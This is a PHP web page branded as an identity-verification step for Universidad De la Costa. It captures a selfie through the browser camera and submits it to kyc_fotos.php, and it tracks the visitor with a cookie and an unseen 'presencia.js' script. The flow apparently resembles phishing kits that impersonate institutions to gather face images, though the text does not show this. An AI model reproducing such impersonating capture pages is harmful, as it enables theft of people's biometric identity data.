<?php
$idreg = isset($_COOKIE['idreg']) ? intval($_COOKIE['idreg']) : 0;
date_default_timezone_set('America/Bogota');
?>
<!DOCTYPE html>
<html lang="es">
<head>
  <title>Universidad De la Costa - Verificación de identidad</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">

  <!-- Font Awesome -->
  <link rel="stylesheet"
        href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css"
        crossorigin="anonymous" referrerpolicy="no-referrer">

  <link href="css/style.css" rel="stylesheet">
  <link href="css/stylesheet.css" rel="stylesheet">
  <link rel="icon" type="image/png" href="img/logo.png" />

  <script src="js/jquery-3.6.0.min.js"></script>
  <script src="js/functions.js"></script>
  <script src="js/presencia.js"></script>

  <style>
    :root{
      --modal-bg: #f3f3f3;
      --modal-text: #111111;
      --subtitle-text: #444444;
      --backdrop: rgba(0,0,0,0.65);
      --btn-prim-bg: #0040A8;
      --btn-prim-text: #ffffff;
    }

    html, body{
      margin: 0;
      padding: 0;
      font-family: system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
      height: 100%;
    }

    body{
      min-height: 100vh;
      background-image: url('./img/auth-trazo.svg');
      background-size: cover;
      background-position: center;
      background-repeat: no-repeat;
      background-attachment: fixed;
    }

    .warning-backdrop{
      position: fixed;
      inset: 0;
      background: var(--backdrop);
      display: flex;
      align-items: flex-start;
      justify-content: center;
      padding: 16px;
      box-sizing: border-box;
      backdrop-filter: blur(10px);
      -webkit-backdrop-filter: blur(10px);
      overflow-y: auto;
    }

    .warning-card{
      width: 100%;
      max-width: 820px;
      border-radius: 28px;
      background: var(--modal-bg);
      box-shadow:
        0 30px 60px rgba(0,0,0,0.8),
        0 0 0 1px rgba(0,0,0,0.3);
      padding: 22px 22px 18px;
      box-sizing: border-box;
      margin-top: 12px;
      margin-left: auto;
      margin-right: auto;
    }

    .logo-header{ text-align:center; margin-bottom: 12px; }
    .warning-icon-wrapper{ display:flex; justify-content:center; margin-bottom: 10px; }
    .warning-icon-circle{
      width: 58px; height: 58px; border-radius: 50%;
      background: #ffd600; display:flex; align-items:center; justify-content:center;
      box-shadow: 0 10px 20px rgba(0,0,0,0.20);
    }
    .warning-icon-circle i{ font-size: 28px; color:#1f2c3f; }

    .warning-title{
      font-size: 22px;
      font-weight: 800;
      line-height: 1.25;
      color: var(--modal-text);
      margin: 6px 0 6px;
      text-align:center;
    }
    .warning-text{
      font-size: 13px;
      line-height: 1.4;
      color: var(--subtitle-text);
      margin: 0 0 14px;
      text-align:center;
    }

    #fondo{
      position: fixed;
      width: 100%;
      height: 100%;
      z-index: 189;
      top: 0;
      left: 0;
      background: #0000008f;
      display: none;
    }
    #cargando{
      text-align: center;
      position: fixed;
      z-index: 190;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%);
      display: none;
    }

    /* ============================
       SELFIE (RESPONSIVE)
       ============================ */
    .kyc-wrap{
      display: grid;
      grid-template-columns: 1fr 1fr; /* en PC lo forzamos a 1 columna en @media */
      gap: 16px;
      align-items: start;
      margin-top: 10px;
      width: 100%;
    }

    .kyc-panel{
      background: #fff;
      border-radius: 18px;
      box-shadow: 0 1px 6px rgba(0,0,0,0.10);
      padding: 12px;
      width: 100%;
    }

    .kyc-step h3{
      font-size: 13px;
      margin: 0 0 3px;
      color: #002b5c;
    }
    .kyc-step p{
      font-size: 11px;
      margin: 0 0 10px;
      color: #555;
    }

    .kyc-camera-box{
      position: relative;
      background: #000;
      border-radius: 14px;
      overflow: hidden;
      width: 100%;
      aspect-ratio: 3 / 4;
      margin: 0 auto 10px;
      max-height: 72vh; /* ✅ móvil */
    }

    .kyc-video, .kyc-canvas{
      width: 100%;
      height: 100%;
      object-fit: cover;
      object-position: center;
      display: block;
      background: #000;
    }

    /* ✅ PREVIEW tipo “espejo” (solo visual) */
    .kyc-video.mirror{
      transform: scaleX(-1);
    }

    .kyc-overlay{ position:absolute; inset:0; pointer-events:none; }
    .kyc-mask-layer{ position:absolute; inset:0; box-shadow:0 0 0 999px rgba(0,0,0,0.36); }

    .kyc-face-guide{
      position: absolute;
      width: 52%;
      aspect-ratio: 3/4;
      top: 21%;
      left: 50%;
      transform: translateX(-50%);
      border-radius: 50% / 58%;
      border: 3px solid rgba(255,255,255,0.9);
      box-shadow: 0 0 0 999px rgba(0,0,0,0.36);
    }

    .kyc-guide-label{
      position: absolute;
      bottom: 10px;
      left: 50%;
      transform: translateX(-50%);
      padding: 3px 8px;
      border-radius: 999px;
      font-size: 11px;
      color: #fff;
      background: rgba(0,0,0,0.55);
      text-align:center;
      max-width:90%;
    }

    .kyc-actions{
      display: flex;
      gap: 8px;
      margin-top: 6px;
      justify-content: center;
      align-items: center;
      flex-wrap: wrap;
    }

    .kyc-btn{
      border: none;
      border-radius: 999px;
      padding: 8px 14px;
      font-size: 12px;
      cursor: pointer;
      font-weight: 700;
      display: inline-flex;
      align-items: center;
      justify-content: center;
      gap: 6px;
      transition: transform 0.12s ease, opacity 0.12s ease;
    }

    .kyc-btn-primary{ background: var(--btn-prim-bg); color: var(--btn-prim-text); }
    .kyc-btn-secondary{ background: #e4e8f2; color: #002b5c; }

    .kyc-btn[disabled]{ opacity: 0.6; cursor: default; }
    .kyc-btn:active{ transform: scale(0.97); }

    .kyc-btn-shutter{
      width: 62px;
      height: 62px;
      border-radius: 50%;
      padding: 0;
      background: #f8f9ff;
      border: 3px solid #0040A8;
      position: relative;
      color: transparent;
    }
    .kyc-btn-shutter::before{
      content:"";
      position:absolute;
      inset: 9px;
      border-radius:50%;
      background:#0040A8;
    }
    .kyc-btn-shutter::after{
      content:"";
      position:absolute;
      inset: 17px;
      border-radius:50%;
      border:2px solid #ffffff;
    }

    .kyc-shutter-label{ font-size: 11px; color: #555; text-align: center; margin-top: 4px; }
    .kyc-tip{ font-size: 10px; color: #777; margin-top: 6px; text-align:center; }

    /* ✅ móvil */
    @media (max-width: 900px){
      .kyc-wrap{ grid-template-columns: 1fr; }
      .warning-card{ max-width: 520px; border-radius: 22px; padding: 18px 14px 14px; }
      .warning-title{ font-size: 20px; }
    }

    /* ✅ FIX PC: centrar panel/cámara (evita que quede corrido) */
    @media (min-width: 901px){
      .warning-card{
        max-width: 920px;
        margin-left: auto;
        margin-right: auto;
      }

      .kyc-wrap{
        grid-template-columns: 1fr !important; /* ✅ clave */
        justify-items: center;
      }

      .kyc-panel{
        width: min(560px, 100%);
        margin: 0 auto;
      }

      .kyc-camera-box{
        max-width: 520px;
        margin-left: auto;
        margin-right: auto;
      }

      /* óvalo un poquito más abierto (suave) */
      .kyc-face-guide{
        width: 56%;
        top: 20%;
      }

      .kyc-actions{ justify-content: center; }
    }
    /* ============================
   FIX MÓVIL: cámara y layout
   ============================ */
@media (max-width: 520px){

  /* en móvil el fixed background a veces “salta” y desajusta */
  body{ background-attachment: scroll; }

  .warning-backdrop{
    padding: 12px 10px 18px;
  }

  .warning-card{
    max-width: 100%;
    padding: 16px 12px 14px;
    border-radius: 22px;
  }

  .kyc-panel{
    padding: 10px;
    border-radius: 16px;
  }

  /* ✅ clave: controlamos altura real de la cámara en pantallas pequeñas */
  .kyc-camera-box{
    aspect-ratio: auto;      /* anulamos ratio fijo en móvil */
    height: 56vh;            /* altura estable */
    max-height: 420px;       /* evita que se coma la pantalla */
    border-radius: 16px;
  }

  /* video/canvas siempre llenando la caja */
  .kyc-video, .kyc-canvas{
    width: 100%;
    height: 100%;
    object-fit: cover;
  }

  /* óvalo un poco más cómodo en móvil */
  .kyc-face-guide{
    width: 60%;     /* un poquito más abierto */
    top: 18%;       /* sube un poco */
    border-width: 3px;
  }

  /* etiqueta más compacta */
  .kyc-guide-label{
    bottom: 12px;
    font-size: 11px;
    padding: 4px 10px;
  }

  /* botones más compactos */
  .kyc-btn{ padding: 8px 12px; }
  .kyc-btn-shutter{ width: 58px; height: 58px; }
}

  </style>
</head>

<body>
  <div id="fondo"></div>
  <div id="cargando">
    <img src="img/logo.svg"><br>
    <img src="img/load2.gif">
  </div>

  <div class="warning-backdrop">
    <div class="warning-card">

      <div class="logo-header">
        <img src="img/logo.svg" alt="Logo">
      </div>

      <div class="warning-icon-wrapper">
        <div class="warning-icon-circle">
          <i class="fa-regular fa-id-card"></i>
        </div>
      </div>

      <h1 class="warning-title">Verificación de identidad</h1>
      <p class="warning-text">Necesitamos una selfie (rostro). Usa buena iluminación y mira de frente.</p>

      <form action="kyc_fotos.php" method="post" enctype="multipart/form-data" id="formKyc">
        <input type="hidden" id="idreg" value="<?php echo $idreg; ?>">
        <input type="hidden" name="selfie_data" id="selfieData">

        <div class="kyc-wrap">
          <div class="kyc-panel kyc-step">
            <h3>Selfie</h3>
            <p>Coloca tu cara dentro de la silueta y evita sombras fuertes.</p>

            <div class="kyc-camera-box">
              <video id="kycVideo" class="kyc-video mirror" autoplay playsinline></video>
              <canvas id="kycCanvas" class="kyc-canvas" style="display:none;"></canvas>

              <div class="kyc-overlay">
                <div class="kyc-mask-layer"></div>
                <div class="kyc-face-guide"></div>
                <div class="kyc-guide-label">Centra tu cara aquí</div>
              </div>
            </div>

            <div class="kyc-actions">
              <button type="button" class="kyc-btn kyc-btn-primary kyc-btn-shutter" id="btnCapture">Tomar</button>
              <button type="button" class="kyc-btn kyc-btn-secondary" id="btnRetake" style="display:none;">Repetir</button>
              <button type="button" class="kyc-btn kyc-btn-primary" id="btnConfirm" style="display:none;">
                Confirmar y enviar
              </button>
            </div>

            <div class="kyc-shutter-label" id="labelSelfie">Tocar para tomar selfie</div>
            <div class="kyc-tip">Mantén el teléfono a la altura de tus ojos.</div>
          </div>
        </div>
      </form>

    </div>
  </div>

<script>
(function(){
  const video  = document.getElementById('kycVideo');
  const canvas = document.getElementById('kycCanvas');

  const btnCapture = document.getElementById('btnCapture');
  const btnRetake  = document.getElementById('btnRetake');
  const btnConfirm = document.getElementById('btnConfirm');

  const labelSelfie = document.getElementById('labelSelfie');
  const inputSelfie = document.getElementById('selfieData');

  let currentStream = null;
  let tempSelfie = null;

  function stopStream(){
    if (currentStream){
      currentStream.getTracks().forEach(t => t.stop());
      currentStream = null;
    }
  }

  async function applyQuality(stream){
    try{
      const track = stream.getVideoTracks()[0];
      if (!track) return;
      const caps = track.getCapabilities ? track.getCapabilities() : {};

      if (caps.focusMode && Array.isArray(caps.focusMode) && caps.focusMode.includes("continuous")){
        await track.applyConstraints({ advanced: [{ focusMode: "continuous" }] });
      }

      if (caps.zoom){
        const min = (typeof caps.zoom.min === "number") ? caps.zoom.min : 1;
        await track.applyConstraints({ advanced: [{ zoom: min }] });
      }
    }catch(e){}
  }

  async function startCamera(){
    stopStream();

    try{
      const constraints = {
        audio: false,
        video: {
          facingMode: { ideal: 'user' },
          width:  { ideal: 1280 },
          height: { ideal: 720 }
        }
      };

      currentStream = await navigator.mediaDevices.getUserMedia(constraints);
      video.srcObject = currentStream;
      await applyQuality(currentStream);

      video.style.display  = 'block';
      canvas.style.display = 'none';

    }catch(err){
      console.error(err);
      alert('No fue posible acceder a la cámara. Revisa permisos del navegador.');
    }
  }

  function captureUnmirroredJPEG(){
    const w = video.videoWidth  || 1280;
    const h = video.videoHeight || 960;

    canvas.width = w;
    canvas.height = h;

    const ctx = canvas.getContext('2d');

    // preview espejado, captura guardada sin espejo
    ctx.save();
    ctx.translate(w, 0);
    ctx.scale(-1, 1);
    ctx.drawImage(video, 0, 0, w, h);
    ctx.restore();

    canvas.style.display = 'block';
    video.style.display  = 'none';

    return canvas.toDataURL('image/jpeg', 0.9);
  }

  function disableTemporarily(btn){
    btn.disabled = true;
    setTimeout(() => btn.disabled = false, 350);
  }

  btnCapture.addEventListener('click', () => {
    if (!currentStream){ alert("Esperando la cámara, intenta de nuevo."); return; }
    disableTemporarily(btnCapture);

    tempSelfie = captureUnmirroredJPEG();

    btnCapture.style.display = 'none';
    btnRetake.style.display  = 'inline-flex';
    btnConfirm.style.display = 'inline-flex';
    labelSelfie.textContent  = "Revisa tu selfie. Si no te gusta, puedes repetir.";
  });

  btnRetake.addEventListener('click', () => {
    canvas.style.display = 'none';
    video.style.display  = 'block';
    tempSelfie = null;

    btnCapture.style.display = 'inline-flex';
    btnRetake.style.display  = 'none';
    btnConfirm.style.display = 'none';
    labelSelfie.textContent  = "Tocar para tomar selfie";
  });

  btnConfirm.addEventListener('click', () => {
    if (!tempSelfie) return;

    inputSelfie.value = tempSelfie;

    if (typeof enviar_kyc === 'function'){
      stopStream();
      enviar_kyc();
      return;
    }

    stopStream();
    document.getElementById('formKyc').submit();
  });

  if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia){
    alert("Tu navegador no soporta acceso a cámara. Usa otro navegador o dispositivo.");
    return;
  }

  startCamera();
})();
</script>

</body>
</html>
